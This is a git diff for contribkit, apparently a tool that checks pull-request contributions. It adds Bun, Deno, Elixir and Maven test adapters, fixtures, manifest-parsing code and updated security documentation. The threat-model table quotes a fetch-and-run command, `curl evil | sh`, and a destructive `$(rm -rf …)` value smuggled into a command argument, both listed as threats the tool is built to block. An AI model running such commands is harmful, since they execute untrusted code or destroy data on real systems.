diff --git a/.github/ISSUE_TEMPLATE/adapter.yml b/.github/ISSUE_TEMPLATE/adapter.yml
index 5e9bd89..910f7d3 100644
--- a/.github/ISSUE_TEMPLATE/adapter.yml
+++ b/.github/ISSUE_TEMPLATE/adapter.yml
@@ -27,7 +27,7 @@ body:
id: test-family
attributes:
label: Allowlisted test command family
- description: Must be a simple argv family (pytest, npm test, cargo test, go test). No pipes.
+ description: Must be a simple argv family (pytest, npm test, cargo test, go test, mix test, mvn test). No pipes.
placeholder: pytest -q
validations:
required: true
diff --git a/.github/SECURITY.md b/.github/SECURITY.md
index 4554a1b..76c9145 100644
--- a/.github/SECURITY.md
+++ b/.github/SECURITY.md
@@ -2,6 +2,6 @@
Report vulnerabilities privately via GitHub Security Advisories on this repository.
-contribkit does not execute commands found in a target repository unless the user passes `--run-tests` and the argv matches the allowlist in [docs/THREAT_MODEL.md](../docs/THREAT_MODEL.md) (`npm test`, `pytest`, `cargo test`, `go test`, and close families). Pipes, `&&`, and `$()` are rejected.
+contribkit does not execute commands found in a target repository unless the user passes `--run-tests` and the argv matches the allowlist in [docs/THREAT_MODEL.md](../docs/THREAT_MODEL.md) (`npm test`, `pytest`, `cargo test`, `go test`, `mix test`, and `mvn test`). Pipes, `&&`, and `$()` are rejected.
Do not send tokens or private repository contents to public issues.
diff --git a/README.md b/README.md
index e983e45..8f6c99c 100644
--- a/README.md
+++ b/README.md
@@ -53,7 +53,7 @@ Claude Code plugin (local marketplace, not the Anthropic catalog):
`--json` prints machine-readable contract or receipt JSON. Preflight exit codes: `blocked` → 1; `pass` and `needs-human` → 0. `--repo` must be a git clone root, not a nested folder of another repository.
-`--run-tests` is opt-in. It only executes allowlisted argv (`npm test`, `npm run test`, `pnpm test`, `yarn test`, `pytest`, `python -m pytest`, `cargo test`, `go test`). No pipes, no `&&`, no `$()`. Default preflight only *records* commands already supplied; it does not run the target repository.
+`--run-tests` is opt-in. It only executes exact allowlisted argv (`npm test`, `npm run test`, `pnpm test`, `yarn test`, `pytest`, `python -m pytest`, `cargo test`, `go test`, `bun test`, `deno test`, `mix test`, `mvn test`). Extra arguments, pipes, `&&`, and `$()` are rejected. Default preflight only *records* commands already supplied; it does not run the target repository.
`CONTRIBKIT_ALLOW=1` sets `receipt.overridden = true`. It does not rewrite tool argv.
@@ -65,7 +65,7 @@ Claude Code plugin (local marketplace, not the Anthropic catalog):
- Golden fixtures under `fixtures/repos/`
- Claude plugin: `.claude-plugin/plugin.json`, `skills/*`, `hooks/hooks.json` (Bash|PowerShell `gh`/`glab` **and** `mcp__.*__create_pull_request`)
- MCP stdio: `node dist/src/cli.js mcp` tools `compile_contract`, `preflight_diff`, `explain_receipt`
-- Bundled adapters: `python-pytest`, `node-npm-test`, `go-test` (advisory `command_recorded` only unless `blockAdapters`)
+- Bundled adapters: `python-pytest`, `node-npm-test`, `go-test`, `bun-test`, `deno-test`, `elixir-mix`, `java-maven` (advisory `command_recorded` only unless `blockAdapters`)
- Adapter authoring guide: [docs/ADAPTER_AUTHORING.md](docs/ADAPTER_AUTHORING.md)
## What is not shipped
diff --git a/adapters/bun-test/README.md b/adapters/bun-test/README.md
new file mode 100644
index 0000000..74342cd
--- /dev/null
+++ b/adapters/bun-test/README.md
@@ -0,0 +1,6 @@
+# bun-test
+
+Activates when the target tree has `bun.lockb`, `bun.lock`, or a `package.json` whose
+`packageManager` is `bun` (including a version such as `bun@1.2.3`). Adds an advisory `bun test`
+recording check. It does not execute Bun unless `--run-tests` is explicitly passed, and only the
+exact `bun test` argv is allowlisted. Target-repository adapter folders are ignored.
diff --git a/adapters/bun-test/adapter.json b/adapters/bun-test/adapter.json
new file mode 100644
index 0000000..eb545ae
--- /dev/null
+++ b/adapters/bun-test/adapter.json
@@ -0,0 +1,9 @@
+{
+ "id": "bun-test",
+ "match": {
+ "filesAny": ["bun.lockb", "bun.lock", "package.json"],
+ "packageManager": "bun"
+ },
+ "testCommand": "bun test",
+ "maxDiffLines": null
+}
diff --git a/adapters/bun-test/hints.yml b/adapters/bun-test/hints.yml
new file mode 100644
index 0000000..a6d0926
--- /dev/null
+++ b/adapters/bun-test/hints.yml
@@ -0,0 +1,2 @@
+id: bun-test
+testFamily: bun test
diff --git a/adapters/bun-test/tests/golden.json b/adapters/bun-test/tests/golden.json
new file mode 100644
index 0000000..5852d91
--- /dev/null
+++ b/adapters/bun-test/tests/golden.json
@@ -0,0 +1,6 @@
+{
+ "id": "bun-test",
+ "expectRuleId": "adapter-bun-test",
+ "expectCommand": "bun test",
+ "expectSeverity": "advisory"
+}
diff --git a/adapters/deno-test/README.md b/adapters/deno-test/README.md
new file mode 100644
index 0000000..e890802
--- /dev/null
+++ b/adapters/deno-test/README.md
@@ -0,0 +1,5 @@
+# deno-test
+
+Activates when the target tree has `deno.json` or `deno.jsonc`. Adds an advisory `deno test`
+recording check. It does not execute Deno unless `--run-tests` is explicitly passed, and only the
+exact `deno test` argv is allowlisted. Target-repository adapter folders are ignored.
diff --git a/adapters/deno-test/adapter.json b/adapters/deno-test/adapter.json
new file mode 100644
index 0000000..7ec20a4
--- /dev/null
+++ b/adapters/deno-test/adapter.json
@@ -0,0 +1,6 @@
+{
+ "id": "deno-test",
+ "match": { "filesAny": ["deno.json", "deno.jsonc"] },
+ "testCommand": "deno test",
+ "maxDiffLines": null
+}
diff --git a/adapters/deno-test/hints.yml b/adapters/deno-test/hints.yml
new file mode 100644
index 0000000..13a0f9d
--- /dev/null
+++ b/adapters/deno-test/hints.yml
@@ -0,0 +1,2 @@
+id: deno-test
+testFamily: deno test
diff --git a/adapters/deno-test/tests/golden.json b/adapters/deno-test/tests/golden.json
new file mode 100644
index 0000000..cd7b9cc
--- /dev/null
+++ b/adapters/deno-test/tests/golden.json
@@ -0,0 +1,6 @@
+{
+ "id": "deno-test",
+ "expectRuleId": "adapter-deno-test",
+ "expectCommand": "deno test",
+ "expectSeverity": "advisory"
+}
diff --git a/adapters/elixir-mix/README.md b/adapters/elixir-mix/README.md
new file mode 100644
index 0000000..e5e5b92
--- /dev/null
+++ b/adapters/elixir-mix/README.md
@@ -0,0 +1,8 @@
+# elixir-mix
+
+Activates when the target tree has `mix.exs`. Adds an advisory `command_recorded` check for the
+exact argv `mix test` unless `contribkit.yml` lists `elixir-mix` under `blockAdapters`.
+
+The command is never run by default. `--run-tests` is required, and contribkit executes only the
+allowlisted argv with no extra arguments, pipes, `&&`, or `$()`. Target-repository adapter folders
+are ignored.
diff --git a/adapters/elixir-mix/adapter.json b/adapters/elixir-mix/adapter.json
new file mode 100644
index 0000000..3089c38
--- /dev/null
+++ b/adapters/elixir-mix/adapter.json
@@ -0,0 +1,6 @@
+{
+ "id": "elixir-mix",
+ "match": { "filesAny": ["mix.exs"] },
+ "testCommand": "mix test",
+ "maxDiffLines": null
+}
diff --git a/adapters/elixir-mix/hints.yml b/adapters/elixir-mix/hints.yml
new file mode 100644
index 0000000..fcf1556
--- /dev/null
+++ b/adapters/elixir-mix/hints.yml
@@ -0,0 +1,3 @@
+# Hints only. Never executed.
+id: elixir-mix
+testFamily: mix test
diff --git a/adapters/elixir-mix/tests/golden.json b/adapters/elixir-mix/tests/golden.json
new file mode 100644
index 0000000..b9597c8
--- /dev/null
+++ b/adapters/elixir-mix/tests/golden.json
@@ -0,0 +1,6 @@
+{
+ "id": "elixir-mix",
+ "expectRuleId": "adapter-elixir-mix",
+ "expectCommand": "mix test",
+ "expectSeverity": "advisory"
+}
diff --git a/adapters/java-maven/README.md b/adapters/java-maven/README.md
new file mode 100644
index 0000000..ebe2cbb
--- /dev/null
+++ b/adapters/java-maven/README.md
@@ -0,0 +1,8 @@
+# java-maven
+
+Activates when the target tree has `pom.xml`. Adds an advisory `command_recorded` check for the
+exact argv `mvn test` unless `contribkit.yml` lists `java-maven` under `blockAdapters`.
+
+The command is never run by default. `--run-tests` is required, and contribkit executes only the
+allowlisted argv with no extra arguments, pipes, `&&`, or `$()`. Target-repository adapter folders
+are ignored.
diff --git a/adapters/java-maven/adapter.json b/adapters/java-maven/adapter.json
new file mode 100644
index 0000000..d73a409
--- /dev/null
+++ b/adapters/java-maven/adapter.json
@@ -0,0 +1,6 @@
+{
+ "id": "java-maven",
+ "match": { "filesAny": ["pom.xml"] },
+ "testCommand": "mvn test",
+ "maxDiffLines": null
+}
diff --git a/adapters/java-maven/hints.yml b/adapters/java-maven/hints.yml
new file mode 100644
index 0000000..5332e3a
--- /dev/null
+++ b/adapters/java-maven/hints.yml
@@ -0,0 +1,3 @@
+# Hints only. Never executed.
+id: java-maven
+testFamily: mvn test
diff --git a/adapters/java-maven/tests/golden.json b/adapters/java-maven/tests/golden.json
new file mode 100644
index 0000000..ee055e1
--- /dev/null
+++ b/adapters/java-maven/tests/golden.json
@@ -0,0 +1,6 @@
+{
+ "id": "java-maven",
+ "expectRuleId": "adapter-java-maven",
+ "expectCommand": "mvn test",
+ "expectSeverity": "advisory"
+}
diff --git a/adapters/node-npm-test/README.md b/adapters/node-npm-test/README.md
index e4c0fef..b692d76 100644
--- a/adapters/node-npm-test/README.md
+++ b/adapters/node-npm-test/README.md
@@ -1,3 +1,3 @@
# node-npm-test
-Activates when the target tree has `package.json`. Adds advisory `npm test` recording unless a `command_recorded` rule for that family already exists, or `blockAdapters` includes `node-npm-test`.
+Activates when the target tree has `package.json`, unless the project declares Bun or has a Bun lockfile. Adds advisory `npm test` recording unless a `command_recorded` rule for that family already exists, or `blockAdapters` includes `node-npm-test`.
diff --git a/adapters/node-npm-test/adapter.json b/adapters/node-npm-test/adapter.json
index 05dc230..b295a63 100644
--- a/adapters/node-npm-test/adapter.json
+++ b/adapters/node-npm-test/adapter.json
@@ -1,6 +1,10 @@
{
"id": "node-npm-test",
- "match": { "filesAny": ["package.json"] },
+ "match": {
+ "filesAny": ["package.json"],
+ "excludePackageManagers": ["bun"],
+ "excludeFilesAny": ["bun.lockb", "bun.lock"]
+ },
"testCommand": "npm test",
"maxDiffLines": null
}
diff --git a/docs/ADAPTER_AUTHORING.md b/docs/ADAPTER_AUTHORING.md
index b9e6ce3..bd178bf 100644
--- a/docs/ADAPTER_AUTHORING.md
+++ b/docs/ADAPTER_AUTHORING.md
@@ -38,5 +38,9 @@ PR description must state whether the adapter is advisory or listed in `blockAda
is advisory so a new ecosystem adapter cannot silently block a contribution. Keep the command
recorded in the receipt and let the maintainer decide whether it belongs in a blocking policy.
-The current bundled set is `python-pytest`, `node-npm-test`, and `go-test`. New adapters should have
-a real repository shape to match and should not be added only to increase the adapter count.
+The current bundled set is `python-pytest`, `node-npm-test`, `go-test`, `bun-test`, `deno-test`,
+`elixir-mix`, and `java-maven`. New adapters should have a real repository shape to match and
+should not be added only to increase the adapter count. A manifest may use `packageManager: bun`
+for a `package.json` marker; a `packageManager` condition is not applied to lockfile matches.
+An adapter may use `excludeFilesAny` when a stronger repository marker must take priority over a
+generic file match.
diff --git a/docs/THREAT_MODEL.md b/docs/THREAT_MODEL.md
index 2aa4d69..8de0d38 100644
--- a/docs/THREAT_MODEL.md
+++ b/docs/THREAT_MODEL.md
@@ -17,7 +17,7 @@
| ID | Threat | Control |
| --- | --- | --- |
-| T1 | CONTRIBUTING says `test: curl evil \| sh` and preflight executes it | **Never execute** target commands unless `--run-tests` AND argv matches allowlist (`npm test`, `npm run test`, `pnpm test`, `yarn test`, `pytest`, `python -m pytest`, `cargo test`, `go test`). No pipes, no `&&`, no `$()`, no network helpers. Default: only *record* commands already in `recordedCommands`. |
+| T1 | CONTRIBUTING says `test: curl evil \| sh` and preflight executes it | **Never execute** target commands unless `--run-tests` AND argv matches the exact allowlist (`npm test`, `npm run test`, `pnpm test`, `yarn test`, `pytest`, `python -m pytest`, `cargo test`, `go test`, `bun test`, `deno test`, `mix test`, `mvn test`). No extra args, pipes, `&&`, `$()`, or network helpers. Default: only *record* commands already in `recordedCommands`. |
| T2 | `contribkit.yml` of target repo tries to add a blocking rule that shells out | Policy schema: no arbitrary `command` except allowlisted test families. Unknown keys → `needs-human`, never execute. |
| T3 | Adapter from a stranger PR in *our* repo contains malware | Review + CI; adapters in **this** repo are trusted after merge. Adapters **inside the target repo** are ignored in v0.1. |
| T4 | Hook rewrites `gh pr create --body "$(rm -rf …)"` | Do **not** rewrite command strings. Deny or allow. |
diff --git a/fixtures/repos/bun-lock-package-script/CONTRIBUTING.md b/fixtures/repos/bun-lock-package-script/CONTRIBUTING.md
new file mode 100644
index 0000000..e06a87f
--- /dev/null
+++ b/fixtures/repos/bun-lock-package-script/CONTRIBUTING.md
@@ -0,0 +1,3 @@
+# Contributing
+
+Keep the change small and record the required test command.
diff --git a/fixtures/repos/bun-lock-package-script/LICENSE b/fixtures/repos/bun-lock-package-script/LICENSE
new file mode 100644
index 0000000..a171200
--- /dev/null
+++ b/fixtures/repos/bun-lock-package-script/LICENSE
@@ -0,0 +1 @@
+TEST LICENSE
diff --git a/fixtures/repos/bun-lock-package-script/bun.lock b/fixtures/repos/bun-lock-package-script/bun.lock
new file mode 100644
index 0000000..001ab31
--- /dev/null
+++ b/fixtures/repos/bun-lock-package-script/bun.lock
@@ -0,0 +1 @@
+# Bun lockfile priority fixture.
diff --git a/fixtures/repos/bun-lock-package-script/change/README.md b/fixtures/repos/bun-lock-package-script/change/README.md
new file mode 100644
index 0000000..b16718c
--- /dev/null
+++ b/fixtures/repos/bun-lock-package-script/change/README.md
@@ -0,0 +1 @@
+Bun lockfile priority fixture.
diff --git a/fixtures/repos/bun-lock-package-script/package.json b/fixtures/repos/bun-lock-package-script/package.json
new file mode 100644
index 0000000..6640fbf
--- /dev/null
+++ b/fixtures/repos/bun-lock-package-script/package.json
@@ -0,0 +1,6 @@
+{
+ "name": "bun-lock-package-script-fixture",
+ "scripts": {
+ "test": "bun test"
+ }
+}
diff --git a/fixtures/repos/bun-lock/CONTRIBUTING.md b/fixtures/repos/bun-lock/CONTRIBUTING.md
new file mode 100644
index 0000000..e06a87f
--- /dev/null
+++ b/fixtures/repos/bun-lock/CONTRIBUTING.md
@@ -0,0 +1,3 @@
+# Contributing
+
+Keep the change small and record the required test command.
diff --git a/fixtures/repos/bun-lock/LICENSE b/fixtures/repos/bun-lock/LICENSE
new file mode 100644
index 0000000..a171200
--- /dev/null
+++ b/fixtures/repos/bun-lock/LICENSE
@@ -0,0 +1 @@
+TEST LICENSE
diff --git a/fixtures/repos/bun-lock/bun.lock b/fixtures/repos/bun-lock/bun.lock
new file mode 100644
index 0000000..92a50d6
--- /dev/null
+++ b/fixtures/repos/bun-lock/bun.lock
@@ -0,0 +1 @@
+# Bun lockfile fixture.
diff --git a/fixtures/repos/bun-lock/change/README.md b/fixtures/repos/bun-lock/change/README.md
new file mode 100644
index 0000000..126b4ea
--- /dev/null
+++ b/fixtures/repos/bun-lock/change/README.md
@@ -0,0 +1 @@
+Bun lockfile adapter fixture.
diff --git a/fixtures/repos/bun-lockb-package-script/CONTRIBUTING.md b/fixtures/repos/bun-lockb-package-script/CONTRIBUTING.md
new file mode 100644
index 0000000..e06a87f
--- /dev/null
+++ b/fixtures/repos/bun-lockb-package-script/CONTRIBUTING.md
@@ -0,0 +1,3 @@
+# Contributing
+
+Keep the change small and record the required test command.
diff --git a/fixtures/repos/bun-lockb-package-script/LICENSE b/fixtures/repos/bun-lockb-package-script/LICENSE
new file mode 100644
index 0000000..a171200
--- /dev/null
+++ b/fixtures/repos/bun-lockb-package-script/LICENSE
@@ -0,0 +1 @@
+TEST LICENSE
diff --git a/fixtures/repos/bun-lockb-package-script/bun.lockb b/fixtures/repos/bun-lockb-package-script/bun.lockb
new file mode 100644
index 0000000..04fda89
--- /dev/null
+++ b/fixtures/repos/bun-lockb-package-script/bun.lockb
@@ -0,0 +1 @@
+Bun binary lockfile priority fixture.
diff --git a/fixtures/repos/bun-lockb-package-script/change/README.md b/fixtures/repos/bun-lockb-package-script/change/README.md
new file mode 100644
index 0000000..04fda89
--- /dev/null
+++ b/fixtures/repos/bun-lockb-package-script/change/README.md
@@ -0,0 +1 @@
+Bun binary lockfile priority fixture.
diff --git a/fixtures/repos/bun-lockb-package-script/package.json b/fixtures/repos/bun-lockb-package-script/package.json
new file mode 100644
index 0000000..36f8943
--- /dev/null
+++ b/fixtures/repos/bun-lockb-package-script/package.json
@@ -0,0 +1,6 @@
+{
+ "name": "bun-lockb-package-script-fixture",
+ "scripts": {
+ "test": "bun test"
+ }
+}
diff --git a/fixtures/repos/bun-lockb/CONTRIBUTING.md b/fixtures/repos/bun-lockb/CONTRIBUTING.md
new file mode 100644
index 0000000..e06a87f
--- /dev/null
+++ b/fixtures/repos/bun-lockb/CONTRIBUTING.md
@@ -0,0 +1,3 @@
+# Contributing
+
+Keep the change small and record the required test command.
diff --git a/fixtures/repos/bun-lockb/LICENSE b/fixtures/repos/bun-lockb/LICENSE
new file mode 100644
index 0000000..a171200
--- /dev/null
+++ b/fixtures/repos/bun-lockb/LICENSE
@@ -0,0 +1 @@
+TEST LICENSE
diff --git a/fixtures/repos/bun-lockb/bun.lockb b/fixtures/repos/bun-lockb/bun.lockb
new file mode 100644
index 0000000..96de3c4
--- /dev/null
+++ b/fixtures/repos/bun-lockb/bun.lockb
@@ -0,0 +1 @@
+fixture lockfile placeholder
diff --git a/fixtures/repos/bun-lockb/change/README.md b/fixtures/repos/bun-lockb/change/README.md
new file mode 100644
index 0000000..664eb53
--- /dev/null
+++ b/fixtures/repos/bun-lockb/change/README.md
@@ -0,0 +1 @@
+Bun binary-lockfile path adapter fixture.
diff --git a/fixtures/repos/bun-package-manager-negative/CONTRIBUTING.md b/fixtures/repos/bun-package-manager-negative/CONTRIBUTING.md
new file mode 100644
index 0000000..e06a87f
--- /dev/null
+++ b/fixtures/repos/bun-package-manager-negative/CONTRIBUTING.md
@@ -0,0 +1,3 @@
+# Contributing
+
+Keep the change small and record the required test command.
diff --git a/fixtures/repos/bun-package-manager-negative/LICENSE b/fixtures/repos/bun-package-manager-negative/LICENSE
new file mode 100644
index 0000000..a171200
--- /dev/null
+++ b/fixtures/repos/bun-package-manager-negative/LICENSE
@@ -0,0 +1 @@
+TEST LICENSE
diff --git a/fixtures/repos/bun-package-manager-negative/change/README.md b/fixtures/repos/bun-package-manager-negative/change/README.md
new file mode 100644
index 0000000..316b21e
--- /dev/null
+++ b/fixtures/repos/bun-package-manager-negative/change/README.md
@@ -0,0 +1 @@
+Non-Bun packageManager adapter fixture.
diff --git a/fixtures/repos/bun-package-manager-negative/package.json b/fixtures/repos/bun-package-manager-negative/package.json
new file mode 100644
index 0000000..1e64960
--- /dev/null
+++ b/fixtures/repos/bun-package-manager-negative/package.json
@@ -0,0 +1,4 @@
+{
+ "name": "not-a-bun-fixture",
+ "packageManager": "npm@10.8.2"
+}
diff --git a/fixtures/repos/bun-package-manager-script/CONTRIBUTING.md b/fixtures/repos/bun-package-manager-script/CONTRIBUTING.md
new file mode 100644
index 0000000..9e9e2c5
--- /dev/null
+++ b/fixtures/repos/bun-package-manager-script/CONTRIBUTING.md
@@ -0,0 +1,3 @@
+# Contributing
+
+The repository test command is `bun test`.
diff --git a/fixtures/repos/bun-package-manager-script/LICENSE b/fixtures/repos/bun-package-manager-script/LICENSE
new file mode 100644
index 0000000..a171200
--- /dev/null
+++ b/fixtures/repos/bun-package-manager-script/LICENSE
@@ -0,0 +1 @@
+TEST LICENSE
diff --git a/fixtures/repos/bun-package-manager-script/change/README.md b/fixtures/repos/bun-package-manager-script/change/README.md
new file mode 100644
index 0000000..1670905
--- /dev/null
+++ b/fixtures/repos/bun-package-manager-script/change/README.md
@@ -0,0 +1 @@
+Bun compiler inference fixture.
diff --git a/fixtures/repos/bun-package-manager-script/package.json b/fixtures/repos/bun-package-manager-script/package.json
new file mode 100644
index 0000000..af36de6
--- /dev/null
+++ b/fixtures/repos/bun-package-manager-script/package.json
@@ -0,0 +1,7 @@
+{
+ "name": "bun-package-manager-script-fixture",
+ "packageManager": "bun@1.2.3",
+ "scripts": {
+ "test": "bun test"
+ }
+}
diff --git a/fixtures/repos/bun-package-manager/CONTRIBUTING.md b/fixtures/repos/bun-package-manager/CONTRIBUTING.md
new file mode 100644
index 0000000..e06a87f
--- /dev/null
+++ b/fixtures/repos/bun-package-manager/CONTRIBUTING.md
@@ -0,0 +1,3 @@
+# Contributing
+
+Keep the change small and record the required test command.
diff --git a/fixtures/repos/bun-package-manager/LICENSE b/fixtures/repos/bun-package-manager/LICENSE
new file mode 100644
index 0000000..a171200
--- /dev/null
+++ b/fixtures/repos/bun-package-manager/LICENSE
@@ -0,0 +1 @@
+TEST LICENSE
diff --git a/fixtures/repos/bun-package-manager/change/README.md b/fixtures/repos/bun-package-manager/change/README.md
new file mode 100644
index 0000000..ae0a1bf
--- /dev/null
+++ b/fixtures/repos/bun-package-manager/change/README.md
@@ -0,0 +1 @@
+Bun packageManager adapter fixture.
diff --git a/fixtures/repos/bun-package-manager/package.json b/fixtures/repos/bun-package-manager/package.json
new file mode 100644
index 0000000..c1513dc
--- /dev/null
+++ b/fixtures/repos/bun-package-manager/package.json
@@ -0,0 +1,4 @@
+{
+ "name": "bun-package-manager-fixture",
+ "packageManager": "bun@1.2.3"
+}
diff --git a/fixtures/repos/bun-script-without-marker/CONTRIBUTING.md b/fixtures/repos/bun-script-without-marker/CONTRIBUTING.md
new file mode 100644
index 0000000..e06a87f
--- /dev/null
+++ b/fixtures/repos/bun-script-without-marker/CONTRIBUTING.md
@@ -0,0 +1,3 @@
+# Contributing
+
+Keep the change small and record the required test command.
diff --git a/fixtures/repos/bun-script-without-marker/LICENSE b/fixtures/repos/bun-script-without-marker/LICENSE
new file mode 100644
index 0000000..a171200
--- /dev/null
+++ b/fixtures/repos/bun-script-without-marker/LICENSE
@@ -0,0 +1 @@
+TEST LICENSE
diff --git a/fixtures/repos/bun-script-without-marker/change/README.md b/fixtures/repos/bun-script-without-marker/change/README.md
new file mode 100644
index 0000000..065dca3
--- /dev/null
+++ b/fixtures/repos/bun-script-without-marker/change/README.md
@@ -0,0 +1 @@
+Bun script without a Bun project marker.
diff --git a/fixtures/repos/bun-script-without-marker/package.json b/fixtures/repos/bun-script-without-marker/package.json
new file mode 100644
index 0000000..fad1d2c
--- /dev/null
+++ b/fixtures/repos/bun-script-without-marker/package.json
@@ -0,0 +1,6 @@
+{
+ "name": "bun-script-without-marker-fixture",
+ "scripts": {
+ "test": "bun test"
+ }
+}
diff --git a/fixtures/repos/deno-jsonc/CONTRIBUTING.md b/fixtures/repos/deno-jsonc/CONTRIBUTING.md
new file mode 100644
index 0000000..e06a87f
--- /dev/null
+++ b/fixtures/repos/deno-jsonc/CONTRIBUTING.md
@@ -0,0 +1,3 @@
+# Contributing
+
+Keep the change small and record the required test command.
diff --git a/fixtures/repos/deno-jsonc/LICENSE b/fixtures/repos/deno-jsonc/LICENSE
new file mode 100644
index 0000000..a171200
--- /dev/null
+++ b/fixtures/repos/deno-jsonc/LICENSE
@@ -0,0 +1 @@
+TEST LICENSE
diff --git a/fixtures/repos/deno-jsonc/change/README.md b/fixtures/repos/deno-jsonc/change/README.md
new file mode 100644
index 0000000..288d17c
--- /dev/null
+++ b/fixtures/repos/deno-jsonc/change/README.md
@@ -0,0 +1 @@
+Deno JSONC adapter fixture.
diff --git a/fixtures/repos/deno-jsonc/deno.jsonc b/fixtures/repos/deno-jsonc/deno.jsonc
new file mode 100644
index 0000000..06f0a86
--- /dev/null
+++ b/fixtures/repos/deno-jsonc/deno.jsonc
@@ -0,0 +1,6 @@
+{
+ // JSONC is a supported Deno project marker.
+ "tasks": {
+ "test": "deno test"
+ }
+}
diff --git a/fixtures/repos/deno-test/CONTRIBUTING.md b/fixtures/repos/deno-test/CONTRIBUTING.md
new file mode 100644
index 0000000..e06a87f
--- /dev/null
+++ b/fixtures/repos/deno-test/CONTRIBUTING.md
@@ -0,0 +1,3 @@
+# Contributing
+
+Keep the change small and record the required test command.
diff --git a/fixtures/repos/deno-test/LICENSE b/fixtures/repos/deno-test/LICENSE
new file mode 100644
index 0000000..a171200
--- /dev/null
+++ b/fixtures/repos/deno-test/LICENSE
@@ -0,0 +1 @@
+TEST LICENSE
diff --git a/fixtures/repos/deno-test/change/README.md b/fixtures/repos/deno-test/change/README.md
new file mode 100644
index 0000000..f4ef065
--- /dev/null
+++ b/fixtures/repos/deno-test/change/README.md
@@ -0,0 +1 @@
+Deno adapter fixture.
diff --git a/fixtures/repos/deno-test/deno.json b/fixtures/repos/deno-test/deno.json
new file mode 100644
index 0000000..fcc6961
--- /dev/null
+++ b/fixtures/repos/deno-test/deno.json
@@ -0,0 +1,5 @@
+{
+ "tasks": {
+ "test": "deno test"
+ }
+}
diff --git a/fixtures/repos/elixir-mix/CONTRIBUTING.md b/fixtures/repos/elixir-mix/CONTRIBUTING.md
new file mode 100644
index 0000000..0e338b8
--- /dev/null
+++ b/fixtures/repos/elixir-mix/CONTRIBUTING.md
@@ -0,0 +1,3 @@
+# Contributing
+
+Keep changes focused and include a clear commit message.
diff --git a/fixtures/repos/elixir-mix/LICENSE b/fixtures/repos/elixir-mix/LICENSE
new file mode 100644
index 0000000..3d74f22
--- /dev/null
+++ b/fixtures/repos/elixir-mix/LICENSE
@@ -0,0 +1 @@
+Apache License 2.0
diff --git a/fixtures/repos/elixir-mix/change/README.md b/fixtures/repos/elixir-mix/change/README.md
new file mode 100644
index 0000000..605a9d3
--- /dev/null
+++ b/fixtures/repos/elixir-mix/change/README.md
@@ -0,0 +1,3 @@
+# Fixture change
+
+This change exercises the Elixir Mix adapter.
diff --git a/fixtures/repos/elixir-mix/mix.exs b/fixtures/repos/elixir-mix/mix.exs
new file mode 100644
index 0000000..11d3666
--- /dev/null
+++ b/fixtures/repos/elixir-mix/mix.exs
@@ -0,0 +1,7 @@
+defmodule ContribkitMixFixture.MixProject do
+ use Mix.Project
+
+ def project do
+ [app: :contribkit_mix_fixture, version: "0.1.0", elixir: "~> 1.15"]
+ end
+end
diff --git a/fixtures/repos/java-maven/CONTRIBUTING.md b/fixtures/repos/java-maven/CONTRIBUTING.md
new file mode 100644
index 0000000..0e338b8
--- /dev/null
+++ b/fixtures/repos/java-maven/CONTRIBUTING.md
@@ -0,0 +1,3 @@
+# Contributing
+
+Keep changes focused and include a clear commit message.
diff --git a/fixtures/repos/java-maven/LICENSE b/fixtures/repos/java-maven/LICENSE
new file mode 100644
index 0000000..3d74f22
--- /dev/null
+++ b/fixtures/repos/java-maven/LICENSE
@@ -0,0 +1 @@
+Apache License 2.0
diff --git a/fixtures/repos/java-maven/change/README.md b/fixtures/repos/java-maven/change/README.md
new file mode 100644
index 0000000..c5b98f3
--- /dev/null
+++ b/fixtures/repos/java-maven/change/README.md
@@ -0,0 +1,3 @@
+# Fixture change
+
+This change exercises the Java Maven adapter.
diff --git a/fixtures/repos/java-maven/pom.xml b/fixtures/repos/java-maven/pom.xml
new file mode 100644
index 0000000..961c66d
--- /dev/null
+++ b/fixtures/repos/java-maven/pom.xml
@@ -0,0 +1,9 @@
+
+
+ 4.0.0
+ org.contribkit
+ java-maven-fixture
+ 0.1.0
+
diff --git a/src/adapters.ts b/src/adapters.ts
index 3285e45..1001615 100644
--- a/src/adapters.ts
+++ b/src/adapters.ts
@@ -1,14 +1,24 @@
import { readdirSync, readFileSync } from "node:fs";
import { dirname, join } from "node:path";
import { fileURLToPath } from "node:url";
-import { allowlistedArgv, commandsEquivalent } from "./allowlist.js";
+import {
+ allowlistedArgv,
+ commandsEquivalent,
+ packageManagerMatches,
+ type PackageManager,
+} from "./allowlist.js";
import { compareTextUnit } from "./canonical.js";
import { firstExisting } from "./repo.js";
import { isRecord, type ContractRule, type Severity } from "./types.js";
export interface AdapterManifest {
id: string;
- match: { filesAny: string[] };
+ match: {
+ filesAny: string[];
+ packageManager?: PackageManager;
+ excludePackageManagers?: PackageManager[];
+ excludeFilesAny?: string[];
+ };
testCommand: string;
maxDiffLines: number | null;
}
@@ -37,6 +47,20 @@ function parseManifest(raw: unknown, folder: string): AdapterManifest | undefine
if (!isRecord(match) || !Array.isArray(match.filesAny) || match.filesAny.length === 0) return undefined;
const filesAny = match.filesAny.filter((item): item is string => typeof item === "string" && item.length > 0);
if (filesAny.length === 0) return undefined;
+ const packageManager = match.packageManager;
+ if (packageManager !== undefined && packageManager !== "bun") return undefined;
+ const excluded = match.excludePackageManagers;
+ if (excluded !== undefined && !Array.isArray(excluded)) return undefined;
+ const excludePackageManagers = excluded?.filter(
+ (item): item is PackageManager => item === "npm" || item === "pnpm" || item === "yarn" || item === "bun",
+ );
+ if (excluded !== undefined && excludePackageManagers?.length !== excluded.length) return undefined;
+ const excludedFiles = match.excludeFilesAny;
+ if (excludedFiles !== undefined && !Array.isArray(excludedFiles)) return undefined;
+ const excludeFilesAny = excludedFiles?.filter(
+ (item): item is string => typeof item === "string" && item.length > 0,
+ );
+ if (excludedFiles !== undefined && excludeFilesAny?.length !== excludedFiles.length) return undefined;
if (typeof raw.testCommand !== "string" || raw.testCommand.trim().length === 0) return undefined;
const maxDiffLines = raw.maxDiffLines === null || raw.maxDiffLines === undefined
? null
@@ -44,7 +68,17 @@ function parseManifest(raw: unknown, folder: string): AdapterManifest | undefine
? raw.maxDiffLines
: null;
if (raw.id !== folder) return undefined;
- return { id: raw.id, match: { filesAny }, testCommand: raw.testCommand.trim(), maxDiffLines };
+ return {
+ id: raw.id,
+ match: {
+ filesAny,
+ ...(packageManager !== undefined ? { packageManager } : {}),
+ ...(excludePackageManagers !== undefined ? { excludePackageManagers } : {}),
+ ...(excludeFilesAny !== undefined ? { excludeFilesAny } : {}),
+ },
+ testCommand: raw.testCommand.trim(),
+ maxDiffLines,
+ };
}
export function loadBundledAdapters(): AdapterManifest[] {
